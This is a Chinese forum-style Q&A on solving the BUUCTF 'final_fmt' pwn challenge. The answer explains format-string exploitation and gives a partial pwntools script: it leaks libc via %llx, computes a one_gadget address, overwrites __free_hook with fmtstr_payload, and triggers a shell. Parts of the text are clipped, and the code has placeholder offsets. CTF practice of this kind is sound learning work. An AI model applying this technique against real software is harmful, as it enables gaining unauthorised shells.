
buuctf中的final_fmt谁会做,求解答,11111111111111111111111111111111111111111

这道题考察格式化字符串漏洞的利用,需要泄露libc地址并劫持控制流。核心步骤是通过格式化字符串泄露栈上数据,计算libc基址,然后修改__malloc_hook或__free_hook为one_gadget来获取shell。
关键步骤:
泄露栈地址与libc地址
%p或%llx多次尝试,找到栈上存储的libc地址(通常为__libc_start_main+240等)。libc_base = leaked_addr - libc_offset计算one_gadget地址
one_gadget libc.so.6获取偏移,one_gadget_addr = libc_base + offset利用格式化字符串任意写
%n或%hn等格式化字符串写功能,将__malloc_hook或__free_hook修改为one_gadget地址。%hn写两个字节)。触发hook执行shell
malloc或free触发hook,获得shell。示例利用代码框架:
from pwn import *
context(arch='amd64', os='linux')
p = process('./final_fmt')
# p = remote('node4.buuoj.cn', 12345) # 根据题目调整
# 1. 泄露libc地址
payload = b'%llx.' * 20 # 尝试泄露多个值
p.sendline(payload)
leaks = p.recv().split(b'.')
libc_leak = int(leaks[某个索引], 16) # 根据实际调试确定索引
libc_base = libc_leak - 0x24083 # 偏移需根据libc版本调整
# 2. 计算one_gadget
one_gadget = libc_base + 0xe3b01 # 示例偏移
# 3. 写__free_hook
# 使用格式化字符串任意写,例如通过%n写入
# 注意:可能需要先泄露栈地址来定位写入位置
# 这里简化展示思路
write_payload = fmtstr_payload(偏移, {__free_hook: one_gadget})
p.sendline(write_payload)
# 4. 触发
p.sendline(b'%100000c') # 触发malloc或free
p.interactive()
注意事项:
%p或%llx逐个查看。